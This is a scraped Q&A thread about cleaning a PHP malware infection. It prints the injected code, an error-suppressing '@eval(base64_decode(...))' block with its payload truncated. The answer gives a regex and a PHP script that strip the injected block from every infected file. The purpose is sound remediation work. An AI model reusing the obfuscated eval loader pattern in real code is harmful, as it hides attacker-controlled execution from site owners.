Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

script to clean decode_base64 attack with complex characters

Tags:

bash

php

sed

base64

Im looking around to clean a massive php attack with malicious code from one of our servers, and Im having problems around the complexity to find the correct path to search and replace text. Looking around I found how all php files has this code

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
 base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>

When I try to use sed command I can't remove all code, because some php files has other code in the first line, and only removing first line is not a solution.

First I create the file with infected files:

grep 'ZXJyb3JfcmVwb3J0aW5nKDApOwppZ' ./ -Rl > infected.txt

using;

for hackFile in `cat infected.txt`; do sed -i 's#<?php *ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>##' $hackFile; done

I finish the loop to remove all infected files, but for all special characters produce errors all the time and I can't find the exact filter. Somebody can help me to do the correct sed filter? Other tests

for hackFile in `cat infected.txt`; do sed -i 's/<?php*ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>//g'

I don't know how to filter special characters like / or *

To put and example, some php files appears starting the first line with

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
    @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
     base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
    @ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>

And I can remove directly the line. But exist other case:

<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
    @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
     base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
    @ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?> <?php

And exist the possibility to have a php file with more code in the first line not finishing only in "

So, I need to remove the code, not replace for any character, and not affecting the rest of the line. I saw the form to remove with sed the line completely, but I'm looking only the code inserted being the pattern

Obviously we are debugging to stop future attacks, but first I need to clean the code to restart the website.

If someone is curios I can send the decoded code too.

Thanks

like image 491
deconya Avatar asked Jan 30 '18 16:01

deconya


1 Answers

I have the same issue today on a Drupal 7 after a Base64 Attack occured this night. Here is my working solution making a regex, scanning all files and removing the infected parts.

The Regex

This regular expression will catch all code between /*947353*/ and /*947353*/ (in my case /*435345352*/) (Debuggex demo here) :

/\*435345352\*\/(.*)\/\*435345352\*\/

The script

After that, I made a PHP script that browses all files and clean them.

function scanAndClean($start) {
    $contents = scandir($start);
    array_splice($contents, 0, 2);
    foreach ($contents as $item ) {
        $path = "$start\\$item";
        if (is_dir($path) && (substr($item, 0, 1) != '.') ) {
            scanAndClean($path);
        }
        elseif(in_array(pathinfo($path, PATHINFO_EXTENSION), array('php','inc','module'))) {
            cleanFile($path);
        }
    }
}

function cleanFile($file) {

    echo "file scanned : $file...\n";

    $content = file_get_contents($file);
    $pattern = "/\/\*435345352\*\/(.*)\/\*435345352\*\//";
    preg_match($pattern, $content, $matches, PREG_OFFSET_CAPTURE, 3);
    if(sizeof($matches) > 0) {
        file_put_contents($file, str_replace("<?php  ?>", '', preg_replace($pattern, '', $content)));
        echo "\nfile cleaned\n\n";
    }

    else {
        echo "file Ok\n\n";
    }
}

Run it!

Placed in website's root directory, this script will scan all subdirectories and returns *.module, *.inc, and *.php (that are all potentially infected php files in my case).

// start from this directory
$dir = getcwd();

// to go to parent directory (if script placed in a subdirectory)
//chdir("../");
//$dir = getcwd();

// run scan and clean...
$files = scanAndClean($dir);

After that, my site was instantly online again.

Notes

WINDOWS / LINUX VERSION This version is for Windows IIS Server. For a Linux path change $path = "$start\\$item"; to $path = "$start/$item";

Thanks to @koushik-das for show_files() function https://stackoverflow.com/a/37384003/2282880

Consider the following article to prevent new attacks... https://www.thonky.com/how-to/prevent-base-64-decode-hack

like image 50
Meloman Avatar answered Oct 28 '22 17:10

Meloman